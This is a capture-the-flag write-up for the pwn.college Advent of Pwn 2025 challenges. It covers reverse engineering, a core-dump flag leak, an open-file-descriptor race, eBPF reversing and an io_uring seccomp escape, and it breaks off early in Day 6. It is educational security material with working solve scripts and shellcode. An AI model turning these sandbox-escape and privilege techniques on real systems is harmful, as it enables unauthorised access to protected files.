Advent of Pwn 2025 - pwn.college - Write-Up
Challenges from the Advent of Pwn by pwn.college
This is a write-up for the pwn.college Advent of Pwn 2025 challenges, there are a total of 12 challenges, structured from Day 1-12.
General: For the pwn.college challenges, the related challenge files are always in the
/challengedirectory. These files are SUID binaries, so the goal is to escalate privileges or exploit the proper vulnerability in the files.In this write-up only the relevant code pieces are show, if you’d like to see the full code check the challenges.
Day 1 - Reverse Engineering
The first day’s challenge is about reverse engineering a Linux binary. The binary reads some input, applies add and subtract instructions to each byte, and compares the bytes to static values. By calculating the offset using a known input the challenge can be solved.
The challenge was given with the following description:
Every year, Santa maintains the legendary Naughty-or-Nice list, and despite the rumors, there’s no magic behind it at all—it’s pure, meticulous byte-level bookkeeping. Your job is to apply every tiny change exactly and confirm the final list matches perfectly—check it once, check it twice, because Santa does not tolerate even a single incorrect byte. At the North Pole, it’s all just static analysis anyway: even a simple
objdump | grep naughtygoes a long way.
For this challenge we get a file named check-list in the /challenge directory. To understand how the binary is working, we can simply disassemble it using objdump.
1
$ objdump -d check-list -M intel
The statically compiled check-list binary starts with the first code section:
1
2
3
4
5
6
7
8
9
0000000000401000 <.text>:
401000: 48 89 e5 mov rbp,rsp
401003: 48 81 ec 00 05 00 00 sub rsp,0x500
40100a: b8 00 00 00 00 mov eax,0x0
40100f: bf 00 00 00 00 mov edi,0x0
401014: 48 8d b5 00 fc ff ff lea rsi,[rbp-0x400]
40101b: ba 00 04 00 00 mov edx,0x400
401020: 0f 05 syscall
[...]
Firstly, the binary reads 0x400 bytes into a buffer on the stack. It iterates several times over each byte of that buffer and applies a series of add and subtract operations. There are a massive total amount of these simple arithmetic instructions.
1
2
3
4
5
401022: 80 85 3f fe ff ff d4 add BYTE PTR [rbp-0x1c1],0xd4
401029: 80 ad 51 fe ff ff 35 sub BYTE PTR [rbp-0x1af],0x35
401030: 80 ad a0 fe ff ff 38 sub BYTE PTR [rbp-0x160],0x38
401037: 80 ad 9c fc ff ff 91 sub BYTE PTR [rbp-0x364],0x91
[...]
Next, there are 0x400 cmp instructions. As above, each byte is treated individually and checked against a statically programmed value. If one byte doesn’t match the expected value we jump to 0xaa40c2. This address is handling the error message.
1
2
3
4
5
6
[...]
aa4012: 0f 85 aa 00 00 00 jne 0xaa40c2
aa4018: 80 7d fe 19 cmp BYTE PTR [rbp-0x2],0x19
aa401c: 0f 85 a0 00 00 00 jne 0xaa40c2
aa4022: 80 7d ff 7d cmp BYTE PTR [rbp-0x1],0x7d
aa4026: 0f 85 96 00 00 00 jne 0xaa40c2
This code below is only executed if all checks succeed and all values match the static values. The first syscall at aa4048 is a write and will print “Correct: you checked it twice,” which is the string at address 0xaa5006. After that, the string “/flag” is loaded from 0xaa5000, a open syscall is executed, the file is read and finally write() is called to print the flag. The last syscall is used to exit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
aa402c: 48 c7 c0 01 00 00 00 mov rax,0x1
aa4033: 48 c7 c7 01 00 00 00 mov rdi,0x1
aa403a: 48 8d 35 c5 0f 00 00 lea rsi,[rip+0xfc5] # 0xaa5006
aa4041: 48 c7 c2 31 00 00 00 mov rdx,0x31
aa4048: 0f 05 syscall
aa404a: b8 02 00 00 00 mov eax,0x2
aa404f: 48 8d 3d aa 0f 00 00 lea rdi,[rip+0xfaa] # 0xaa5000
aa4056: be 00 00 00 00 mov esi,0x0
aa405b: ba 00 00 00 00 mov edx,0x0
aa4060: 0f 05 syscall
aa4062: 48 83 f8 00 cmp rax,0x0
aa4066: 7c 4e jl 0xaa40b6
aa4068: 49 89 c4 mov r12,rax
aa406b: b8 00 00 00 00 mov eax,0x0
aa4070: 4c 89 e7 mov rdi,r12
aa4073: 48 8d b5 00 fb ff ff lea rsi,[rbp-0x500]
aa407a: ba 00 01 00 00 mov edx,0x100
aa407f: 0f 05 syscall
aa4081: 48 83 f8 00 cmp rax,0x0
aa4085: 7e 2f jle 0xaa40b6
aa4087: 48 89 c1 mov rcx,rax
aa408a: 48 c7 c0 01 00 00 00 mov rax,0x1
aa4091: 48 c7 c7 01 00 00 00 mov rdi,0x1
aa4098: 48 8d b5 00 fb ff ff lea rsi,[rbp-0x500]
aa409f: 48 89 ca mov rdx,rcx
aa40a2: 0f 05 syscall
aa40a4: 48 83 f8 00 cmp rax,0x0
aa40a8: 7c 0c jl 0xaa40b6
aa40aa: b8 3c 00 00 00 mov eax,0x3c
aa40af: bf 00 00 00 00 mov edi,0x0
aa40b4: 0f 05 syscall
[...]
The last part of the code is only called if the checks using the cmp instructions fail. This will only print a static error message - “Wrong: Santa told you to check that list twi…“.
1
2
3
4
5
6
7
8
aa40c2: 48 c7 c0 01 00 00 00 mov rax,0x1
aa40c9: 48 c7 c7 01 00 00 00 mov rdi,0x1
aa40d0: 48 8d 35 61 0f 00 00 lea rsi,[rip+0xf61] # 0xaa5038
aa40d7: 48 c7 c2 35 00 00 00 mov rdx,0x35
aa40de: 0f 05 syscall
aa40e0: b8 3c 00 00 00 mov eax,0x3c
aa40e5: bf 01 00 00 00 mov edi,0x1
aa40ea: 0f 05 syscall
Since the input bytes are obfuscated individually and each check relies on a simple cmp against a static value, we can directly extract those constants from the comparison instructions. Additionally, by supplying 0x400 A’s as input, we can collect the transformed output values. Using these values, we can compute the required offsets and derive the bytes needed to construct the solving payload.
Firstly, we can extract all the values from the cmp instructions using grep, then we can make a list out of the values.
1
2
$ objdump -d /challenge/check-list -M intel | grep cmp | grep BYTE | awk -F, '{print $2}' | tr '\n' ',' | sed 's/,$//'; echo
0xcc,0xca,0xc5,0x93,0x1d,0x51,0x9c,0xdf,0x31,0x53,0x58,0xcd,0x2c,0x45,0xa0,0xa5,0xeb,0x1,0x43,0x64,0x89,0xaf,0x64,0x19,0xef,0xeb,...
Secondly, we proceed with gdb and extract the obfuscated characters. We can break at 0xaa0dac which is the first cmp instruction. Once the breakpoint is hit, use the dump binary memory command to extract the bytes.
1
2
3
4
5
6
$ gdb /challenge/check-list
(gdb) break *0xaa0dac
(gdb) run < <(python3 -c "print('A'*0x400)" )
Breakpoint 1, 0x0000000000aa0dac in ?? ()
(gdb) dump binary memory dump.bin $rbp-0x400 $rbp
The last step before retrieving the flag is to compute the correct input bytes.
The equation for this is:
\[difference_i = output_i - inputted_i\]So to get the input:
\[input_i = needed_i - difference_i = needed_i - output_i + inputted_i\]1
2
3
4
cmp_vals = [0xcc,0xca,0xc5,0x93,0x1d,0x51,0x9c,0xdf,0x31,0x53,0x58,0xcd,0x2c,0x45,0xa0,....]
obfuscatedAs = open("dump.bin","rb").read()
correct_input = [(0x41+cmp_vals[i]-obfuscatedAs[i])&0xff for i in range(0x400)]
open("correct_input_values.bin","wb").write(bytes(correct_input))
Run the script and pipe in the valid bytes to get the flag.
1
2
3
$ cat correct_input_values.bin | /challenge/check-list
✨ Correct: you checked it twice, and it shows!
pwn.college{practice}
Day 2 - Linux Core Dumps
The second challenge in this series is about exploiting the generation of core dump files and reading these files through the intended logic of the pwn.college machines.
Day 2 has a Linux man page as the description:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CLAUS(7) Linux Programmer's Manual CLAUS(7)
NAME
claus - unstoppable holiday daemon
DESCRIPTION
Executes once per annum.
Blocks SIGTSTP to ensure uninterrupted delivery.
May dump coal if forced to quit (see BUGS).
BUGS
Under some configurations, quitting may result in coal being dumped into
your stocking.
SEE ALSO
nice(1), core(5), elf(5), pty(7), signal(7)
Linux Dec 2025 CLAUS(7)
We are given 3 files: a init-coal.sh which is executed on startup, a binary named claus and the source code, claus.c, of it.
init-coal.sh
The shell script which runs on challenge start activates core dumps.
1
2
3
4
5
6
7
#!/bin/sh
set -eu
mount -o remount,rw /proc/sys
echo coal > /proc/sys/kernel/core_pattern
mount -o remount,ro /proc/sys
According to the Linux man page core the /proc/sys/kernel/core_pattern can be used to set the file name of the core dump file.
By default, a core dump file is named core, but the /proc/sys/kernel/core_pattern file (since Linux 2.6 and 2.4.21) can be set to define a template that is used to name core dump files.
claus.c
The script first checks if ruid is 0 otherwise it will re-execute the binary using /proc/self/exe.
1
2
3
4
5
6
7
8
9
10
if (ruid != 0) {
if (setreuid(0, -1) == -1) {
perror("setreuid");
return 1;
}
execve("/proc/self/exe", argv, envp);
perror("execve");
return 127;
}
This is needed because a core dump on this configuration is only created if the ruid matches the euid. According to the man page core 5.
[A core dump file is not produced if] The process is executing a set-user-ID (set-group-ID) program that is owned by a user (group) other than the real user (group) ID of the process.
If the script has the ruid set to 0 it will continue and open the flag. The flag and the size of it is then passed into the wrap() function.
1
2
3
4
5
int fd = open("/flag", O_RDONLY);
int count = read(fd, gift, sizeof(gift));
wrap(gift, count);
The function is basically slowly replacing each flag character with a #.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void wrap(char *gift, size_t size)
{
fprintf(stdout, "Wrapping gift: [ ] 0%%");
for (int i = 0; i < size; i++) {
sleep(1);
gift[i] = "#####\n"[i % 6];
int progress = (i + 1) * 100 / size;
int bars = progress / 10;
fprintf(stdout, "\rWrapping gift: [");
for (int j = 0; j < 10; j++) {
fputc(j < bars ? '=' : ' ', stdout);
}
fprintf(stdout, "] %d%%", progress);
fflush(stdout);
}
fprintf(stdout, "\n🎁 Gift wrapped successfully!\n\n");
}
Core Dump
To use the core dumps we need to activate core dumps using ulimit -c unlimited. This is needed since ulimit -c returns 0, so not activated.
After doing that we can execute the program and then press Ctrl + \, this will trigger a SIGQUIT which will create a core dump file aka a coal file in the current directory.
1
2
3
4
5
6
7
$ ulimit -c unlimited
$ /challenge/claus
🦌 Now, Dasher! now, Dancer! now, Prancer and Vixen!
On, Comet! on Cupid! on, Donder and Blitzen!
Wrapping gift: [ ] 4%^\Quit (core dumped)
$
The coal file itself won’t be readable by us as the user, for that we can restart the docker container into practice mode and then print the flag by using for ex. strings.
1
2
$ sudo strings coal | grep }
#wn.college{practice}
Day 3 - Linux Pwn
The challenge on the 3. December is about using the intended functionality of the Linux Kernel to retrieve file contents.
Day 3 starts with the following description:
During the annual holiday deployment cycle, the stuff-stocking service incorrectly delivered a user’s gift into a stocking owned by root. This occurs as soon as the “children sleeping nicely” signal fires, which triggers Santa’s stocking-fill workflow (SLEIGH-RFC-1225).
Once the condition triggers, /stocking—created prematurely and owned by root—is sealed and the gift is written inside, leaving the intended recipient empty-handed.
[… shortened …]
The challenge only contains 2 scripts, init-stuff-stocking.sh is simply starting stuff-stocking. The script is reading the flag and saving it in a variable, after that a file is touched and a sleep function is executed. If there is a sleep command with a nice value bigger than 1 the script continues, changes the permissions of the flag file and writes the flag to it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/sh
set -eu
GIFT="$(cat /flag)"
rm /flag
touch /stocking
sleeping_nice() {
ps ao ni,comm --no-headers \
| awk '$1 > 0' \
| grep -q sleep
}
# Only when children sleep sweetly and nice does Santa begin his flight
until sleeping_nice; do
sleep 0.1
done
chmod 400 /stocking
printf "%s" "$GIFT" > /stocking
Although the challenge first looks impossible there is a known fact in Linux that can be used to solve this challenge. The permissions of files are only checked when opening a file. If we have a file open and the permissions are changed and - if the file descriptor persists, it can be used to interact with the file disregarding the new permissions.
A simple Python snippet is enough to solve this.
1
2
3
4
5
6
7
8
9
10
11
12
import time
while True:
try:
f = open('/stocking', 'r')
while True:
data = f.read()
if data:
print(data)
exit()
time.sleep(0.01)
except:
pass
After starting the Python script in a different window we proceed by running nice sleep 10, this will trigger the shell script to continue and printf the flag into the file.
1
2
$ python3 solve.py
pwn.college{practice}
Day 4 - Linux Kernel Reverse Engineering
This challenge is about reverse engineering a Linux eBPF program, with the found revered code we can execute some commands to get the flag.
The challenge of the fourth day is introduced with the following description:
Every Christmas Eve, Santa’s reindeer take to the skies—but not through holiday magic. Their whole flight control stack runs on pure eBPF, uplinked straight into the North Pole, a massive kprobe the reindeer feed telemetry into mid-flight. The ever-vigilant eBPF verifier rejects anything even slightly questionable, which is why the elves spend most of December hunched over terminals, running llvm-objdump on sleigh binaries and praying nothing in the control path gets inlined into oblivion again. It’s all very festive, in a high-performance-kernel-engineering sort of way. Ho ho .ko!
In the /challenge directory, you will find four essential files for this challenge: northpole.c, which serves as an eBPF loader; tracker.bpf.o, a compiled eBPF program; and init-northpole.sh, the boot-up starter for the challenge.
northpole.c
This C program loads the eBPF file tracker.bpf.o into the Kernel and links the program handle_do_linkat, whenever the syscall linkat (__x64_sys_linkat) is executed this function is triggered.
The linkat syscall is used to create hard links, so two files can point to the same inode.
Each of the functions in the script is part of the Libbpf userspace library.
1
2
3
4
5
6
7
obj = bpf_object__open_file("/challenge/tracker.bpf.o", NULL);
err = bpf_object__load(obj);
prog = bpf_object__find_program_by_name(obj, "handle_do_linkat");
link = bpf_program__attach_kprobe(prog, false, "__x64_sys_linkat");
Furthermore, the northpole.c loads a map named success from the eBPF program, this is used to share data between the Kernel and the userspace application. After the initial setup the script continues with a while loop, which waits for the success to become 1, if that happens broadcast_cheer is executed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
success = bpf_object__find_map_by_name(obj, "success");
map_fd = bpf_map__fd(success);
while (!stop) {
__u32 v = 0;
if (bpf_map_lookup_elem(map_fd, &key0, &v) == 0 && v != 0) {
should_broadcast = 1;
stop = 1;
break;
}
usleep(100000);
}
if (should_broadcast)
broadcast_cheer();
The broadcast_cheer function prints the flag to the open ttys if the challenge was successfully solved.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static void broadcast_cheer(void)
{
int ffd = open("/flag", O_RDONLY | O_CLOEXEC);
if (ffd >= 0) {
n = read(ffd, flag, sizeof(flag) - 1);
}
snprintf(
banner,
sizeof(banner),
"🎅 🎄 🎁 \x1b[1;31mHo Ho Ho\x1b[0m, \x1b[1;32mMerry Christmas!\x1b[0m\n"
"%s",
flag);
while ((de = readdir(d)) != NULL) {
const char *name = de->d_name;
size_t len = strlen(name);
bool all_digits = true;
for (size_t i = 0; i < len; i++) {
if (!isdigit((unsigned char)name[i])) {
all_digits = false;
break;
}
}
snprintf(path, sizeof(path), "/dev/pts/%s", name);
int fd = open(path, O_WRONLY | O_NOCTTY | O_CLOEXEC);
write(fd, banner, strlen(banner));
}
}
tracker.bpf.o
For the eBPF file there is no source code available, so we need to reverse engineer this file.
Loading the file into Ghidra provides the quickest way to grasp its overall structure.
The important function in that object file is the handle_do_linkat function since this function is loaded by the userspace binary.
At the beginning of the code there are two bpf_probe_read_kernel function calls, they are used to load the old path and the new path for the hard link.
Below these calls are a lot of function blocks in the form of:
1
2
3
4
if (CONCAT26(uStack_a,CONCAT15(uStack_b,CONCAT14(uSt ack_c,CONCAT13(uStack_d,CONCAT12(uStack_e,
CONCAT11(uStack_f,local_10))) ))) != 0x73) {
return 0;
}
These are essentially one character comparisons, the if checks if one character matches a static value.
To clean up the code, we can use some artificial intelligence, a AI platform of your choice. Alternatively, we could manually revere engineer each character comparision.
I used Claude for this purpose with the following prompt: This is decompiled eBPF code, we have string comparisons which are made byte by byte, don’t show them in detail create high-level code for the function.
Code Analysis
The first part of the function is setting up the variables and loading pointers to the strings.
1
2
3
4
5
6
7
8
9
10
11
12
int handle_do_linkat(struct pt_regs *ctx) {
void *oldname_ptr = NULL;
void *newname_ptr = NULL;
char oldname[MAX_FILENAME_LEN];
char newname[MAX_FILENAME_LEN];
int next_stage = 0;
int map_key = 0;
long syscall_args = ctx->regs[7];
bpf_probe_read_kernel(&oldname_ptr, sizeof(oldname_ptr), (void *)(syscall_args + 0x68));
bpf_probe_read_kernel(&newname_ptr, sizeof(newname_ptr), (void *)(syscall_args + 0x38));
The next part is checking if the old file name is sleigh.
1
2
3
4
5
bpf_probe_read_user_str(oldname, MAX_FILENAME_LEN, oldname_ptr);
if (!string_equals(oldname, "sleigh", 7)) {
return 0;
}
The new file name check can be found right after the old file name check. It is implemented within a large switch statement. The next_stage function updates our current stage; if a linkat syscall is triggered and the file names do not match, we reset the stage to 0. Once the last case is processed, we set the success value to 1.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
bpf_probe_read_user_str(newname, MAX_FILENAME_LEN, newname_ptr);
int current_stage = 0;
int *progress_ptr = bpf_map_lookup_elem(&progress, &map_key);
switch (current_stage) {
case 0:
if (string_equals(newname, "dasher", 7)) { next_stage = 1; }
break;
case 1:
if (string_equals(newname, "dancer", 7)) { next_stage = 2; }
break;
case 2:
if (string_equals(newname, "prancer", 8)) { next_stage = 3; }
break;
case 3:
if (string_equals(newname, "vixen", 6)) { next_stage = 4; }
break;
case 4:
if (string_equals(newname, "comet", 6)) { next_stage = 5; }
break;
case 5:
if (string_equals(newname, "cupid", 6)) { next_stage = 6; }
break;
case 6:
if (string_equals(newname, "donner", 7)) { next_stage = 7; }
break;
case 7:
if (string_equals(newname, "blitzen", 8)) {
next_stage = 8;
char success_flag[4] = {1, 0, 0, 0};
bpf_map_update_elem(&success, &map_key, success_flag, 0);
}
break;
default:
next_stage = 0;
break;
}
This code lastly updates the next_stage variable.
1
bpf_map_update_elem(&progress, &map_key, &next_stage, 0);
Final Payload
So to solve the challenge we need to execute several linkat syscalls with the extracted file names. To do that we first need to create a file named sleigh using for ex. touch sleigh and then execute linkat on this file, this can be done using the ln command which uses linkat.
Here is the full list of file names for the hardlinks.
1
2
3
4
5
6
7
8
ln sleigh dasher
ln sleigh dancer
ln sleigh prancer
ln sleigh vixen
ln sleigh comet
ln sleigh cupid
ln sleigh donner
ln sleigh blitzen
Not long after creating the last hard link we receive the flag.
1
2
🎅 🎄 🎁 Ho Ho Ho, Merry Christmas!
pwn.college{practice}
Alternative Way
Instead of using Ghidra we could also use lvm-objdump to disassemble the file.
1
llvm-objdump -S --no-show-raw-insn /challenge/tracker.bpf.o
Day 5 - Seccomp Escape io_uring
Day 5 provides a binary which only allows io_uring syscalls using seccomp. The challenge is to open the flag file using the io_uring syscalls which provide asynchronous Linux syscalls.
The challenge begins with the following description:
Did you ever wonder how Santa manages to deliver sooo many presents in one night?
Dashing through the code,
In a one-ring I/O sled,
O’er the syscalls go,
No blocking lies ahead!
Buffers queue and spin,
Completions shining bright,
What fun it is to read and write,
Async I/O tonight — hey!
For this challenge only two files are given: sleigh.c and the compiled binary sleigh .
Code Analysis
The program starts by mapping a page of memory. Furthermore it is computing a random offset. After that it is reading the 0x1000 bytes into the memory sections.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void *code = mmap(NORTH_POLE_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (code != NORTH_POLE_ADDR) {
perror("mmap");
return 1;
}
srand(time(NULL));
int offset = (rand() % 100) + 1;
puts("🛷 Loading cargo: please stow your sled at the front.");
if (read(STDIN_FILENO, code, 0x1000) < 0) {
perror("read");
return 1;
}
Next the setup_sandbox is called, the function is setting up the seccomp rules.
1
2
3
4
5
puts("📜 Checking Santa's naughty list... twice!");
if (setup_sandbox() != 0) {
perror("setup_sandbox");
return 1;
}
The sandbox blocks all syscalls by default, only io_uring_setup, io_uring_enter, io_uring_register and exit_group are allowed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int setup_sandbox()
{
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
perror("prctl(NO_NEW_PRIVS)");
return 1;
}
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_setup), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_enter), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_register), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
perror("seccomp_rule_add");
return 1;
}
if (seccomp_load(ctx) < 0) {
perror("seccomp_load");
return 1;
}
seccomp_release(ctx);
}
Lastly, the challenge executes the code read into the memory section, but skips a certain number of bytes because of the offset.
1
2
// puts("❄️ Dashing through the snow!");
((void (*)())(code + offset))();
Concept
io_uring
io_uring is a Linux kernel interface for high-performance asynchronous I/O.
There are several IORING operation codes which can be used to solve this CTF, including IORING_OP_OPENAT,IORING_OP_READ and IORING_OP_WRITE. With those two we can open a file and write the content back to the screen.
So with that, it is possible to do those sub syscalls using io_uring. The next question is whether seccomp will be blocking the syscalls executed asyncronously by io_uring, because the Kernel essentially executes the operation codes as syscalls. Surprisingly seccomp does not protect against syscalls executed using io_uring, which can be seen in this article.
To start such a io_uring syscall you need to “set up shared buffers with io_uring_setup(2) and mmap(2), mapping into user space shared buffers for the submission queue (SQ) and the completion queue (CQ)” according to the Linux documentation. The issue is that we can not do mmap syscalls. Fortunately, there is a option to circumvent that, IORING_SETUP_NO_MMAP will allow us to set the shared buffers for the submission/completion. The last challenge now is to find two memory pages which can be used for that.
After setting up the shared buffers, we can submit a operation using the submission queue, we can place the “task” and then execute io_uring_enter.
It is quite hard to write this challenge in raw assembly, so for this challenge I build the assembly from C code and then copied the compiled assembly code as the shellcode. To overcome the challenge of the offset we can simply add 100 NOPs before the actual code.
Scripts
Shellcode
The shellcode starts by putting the flag string on the flag and create 3 pages for the queues and the flag buffer using __attribute__((aligned(0x1000))). Next it does a io_uring_setup with the created buffer and options. After that, a openat is used to open the flag and finally we enter a loop which reads/writes the file content to stdout. Each time a operation is put in the submission queue the io_uring_enter syscall is executed.
For reference https://man7.org/linux/man-pages/man7/io_uring.7.html.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
// compiled using gcc solve_raw.c -o solve_raw
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <stdint.h>
#include <sys/syscall.h>
#define QUEUE_DEPTH 1
#define BLOCK_SZ 1024
#define store_rel(p,v) __atomic_store_n(p,v,__ATOMIC_RELEASE)
#define load_acq(p) __atomic_load_n(p,__ATOMIC_ACQUIRE)
#define RAW_SYSCALL(num, a1, a2, a3, a4, a5, a6) \
({ \
long _ret; \
register long _r10 __asm__("r10") = (long)(a4); \
register long _r8 __asm__("r8") = (long)(a5); \
register long _r9 __asm__("r9") = (long)(a6); \
__asm__ volatile( \
"syscall" \
: "=a"(_ret) \
: "a"(num), "D"(a1), "S"(a2), "d"(a3), \
"r"(_r10), "r"(_r8), "r"(_r9) \
: "rcx", "r11", "memory" \
); \
_ret; \
})
int main() {
char flag_path[6] = {'/', 'f', 'l', 'a', 'g', 0};
struct io_uring_params p = {0};
off_t offset = 0;
/* Stack memory: page-aligned */
char pages[0x3000] __attribute__((aligned(0x1000)));
void *sqes_mem = pages;
void *sq_cq_ring_mem = pages + 0x1000;
char *buff = pages + 0x2000;
p.sq_off.user_addr = (unsigned long)sqes_mem;
p.cq_off.user_addr = (unsigned long)sq_cq_ring_mem;
p.flags = IORING_SETUP_NO_MMAP;
/* io_uring_setup */
int ring_fd = RAW_SYSCALL(__NR_io_uring_setup, QUEUE_DEPTH, (long)&p, 0, 0, 0, 0);
unsigned *sring_tail = (unsigned *)((char*)sq_cq_ring_mem + p.sq_off.tail);
unsigned *sring_mask = (unsigned *)((char*)sq_cq_ring_mem + p.sq_off.ring_mask);
unsigned *sring_array = (unsigned *)((char*)sq_cq_ring_mem + p.sq_off.array);
struct io_uring_sqe *sqes = (struct io_uring_sqe*)sqes_mem;
unsigned *cring_head = (unsigned *)((char*)sq_cq_ring_mem + p.cq_off.head);
unsigned *cring_tail = (unsigned *)((char*)sq_cq_ring_mem + p.cq_off.tail);
unsigned *cring_mask = (unsigned *)((char*)sq_cq_ring_mem + p.cq_off.ring_mask);
struct io_uring_cqe *cqes = (struct io_uring_cqe*)((char*)sq_cq_ring_mem + p.cq_off.cqes);
/* ---- OPEN /flag ---- */
unsigned t = *sring_tail;
unsigned i = t & *sring_mask;
struct io_uring_sqe *sqe = &sqes[i];
sqe->opcode = IORING_OP_OPENAT;
sqe->fd = AT_FDCWD;
sqe->addr = (unsigned long)flag_path;
sqe->len = O_RDONLY;
sqe->off = 0;
sring_array[i] = i;
store_rel(sring_tail, t + 1);
RAW_SYSCALL(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0);
unsigned h = load_acq(cring_head);
int fd = cqes[h & *cring_mask].res;
store_rel(cring_head, h + 1);
/* ---- READ+WRITE loop ---- */
while (1) {
/* READ */
t = *sring_tail;
i = t & *sring_mask;
sqe = &sqes[i];
sqe->opcode = IORING_OP_READ;
sqe->fd = fd;
sqe->addr = (unsigned long)buff;
sqe->len = BLOCK_SZ;
sqe->off = offset;
sring_array[i] = i;
store_rel(sring_tail, t + 1);
RAW_SYSCALL(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0);
h = load_acq(cring_head);
struct io_uring_cqe *cqe = &cqes[h & *cring_mask];
int res = cqe->res;
store_rel(cring_head, h + 1);
if (res <= 0) break;
offset += res;
/* WRITE (via io_uring) */
t = *sring_tail;
i = t & *sring_mask;
sqe = &sqes[i];
sqe->opcode = IORING_OP_WRITE;
sqe->fd = 1;
sqe->addr = (unsigned long)buff;
sqe->len = res;
sqe->off = -1;
sring_array[i] = i;
store_rel(sring_tail, t + 1);
RAW_SYSCALL(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0);
h = load_acq(cring_head);
store_rel(cring_head, h + 1);
}
return 0;
}
Python solver script
The script loads the assembly using the helper function read_function. Finally the payload is send.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
from pwn import *
def read_function(binary_file, function_name):
binary = ELF(binary_file)
function = binary.functions[function_name]
with open(binary_file, "rb") as f:
f.seek(function.address-binary.address)
code = f.read(function.size)
return code
context.binary = elf = ELF("/challenge/sleigh")
context.arch = 'amd64'
p = process([elf.path])
main_bytes = read_function("./solver_raw","main")
log.info(f"Beginning of bytes: {main_bytes[:10].hex()}")
log.info(disasm(main_bytes[:20]))
pre_block = asm("nop")*100
payload = pre_block
payload += main_bytes
p.sendline(payload)
for _ in range(2):
log.info(p.recvline().decode())
log.success(p.recvline().decode())
p.close()
Flag
1
2
3
4
5
6
7
8
9
10
11
12
$ python3 solve.py
[+] Starting local process '/challenge/sleigh': pid 1044
[*] Beginning of bytes: 554889e54881e400f0ff
[*] 0: 55 push rbp
1: 48 89 e5 mov rbp, rsp
4: 48 81 e4 00 f0 ff ff and rsp, 0xfffffffffffff000
b: 48 81 ec 88 3f 00 00 sub rsp, 0x3f88
12: c7 .byte 0xc7
13: 84 .byte 0x84
[*] 🛷 Loading cargo: please stow your sled at the front.
[*] 📜 Checking Santa's naughty list... twice!
[+] pwn.college{practice}
Day 6 - Blockchain
The sixth challenge in the series is about exploiting the functionality of a blockchain. We can trick santa, a user of the blockchain, to send us unlimited gifts.
The challenge begins with the following description:
Now introducing…
🎁 NiceCoin™ — the world’s first decentralized, elf-mined, holly-backed virtue token. Mint your cheer. Secure your joy. Put holiday spirit on the blockchain.
Elves now mine blocks recording verified Nice deeds and mint NiceCoins. Children send signed, on-chain letters to request presents, and Santa—bound by transparent, immutable consensus—must follow the ledger. The workshop is running on proof-of-work, mempools, and a very fragile attempt at “trustless” Christmas cheer.
Ho-ho-hope you’re ready. 🎅🔥
This time there are 5 Python scripts and 1 folder keys in the challenge directory.
Basic Information
For this challenge we have a blockchain service north_poole.py written in Flask: it maintains a simple proof-of-work chain with signed transactions, a transaction pool, balance tracking, and rules around a special NiceCoin™ reward, exposing endpoints to submit blocks, submit/view transactions, and query balances.
Additionally we have a santa.py application which is checking for special letter transactions and is returning gifts.
Furthermore, there is a children.py application which is sending letters to santa.
The last application we have is a elf.py application, the elves are only mining NiceCoin™s.
On startup each child will get a private and public key in the /challenge/keys directory, although we can only access the private key of the user hacker.
1
2
3
4
5
6
7
8
9
mkdir -p /challenge/keys
CHILDREN="willow hazel holly rowan laurel juniper aspen ash maple alder cedar birch elm cypress pine spruce"
for identity in santa hacker $CHILDREN; do
mkdir -p "/challenge/keys/${identity}"
ssh-keygen -t ed25519 -N "" -f "/challenge/keys/${identity}/key" >/dev/null
done
chown -R 1000:1000 /challenge/keys/hacker
...
./children.py $CHILDREN >> /var/log/children.log 2>&1 &
The north_poole.py blockchain application is running on port 80.
1
2
3
4
5
6
./north_poole.py >> /var/log/north_poole.log 2>&1 &
sleep 2
export NORTH_POOLE=http://localhost
./santa.py >> /var/log/santa.log 2>&1 &
The elf.py application is started for each elf individually.
1
2
3
for name in jingle sparkle tinsel nog snowflake; do
ELF_NAME="$name" ./elf.py >> /var/log/elf.log 2>&1 &
done
Deep Dive
For this challenge every user is allowed to mine blocks, although only children can send a letter and earn NiceCoin™. We have the child hacker for this challenge.
The overall goal is to extract the flag, to do that we need to know the SECRET_GIFT which is a randomly generated value (SECRET_GIFT = os.urandom(16).hex()).
1
2
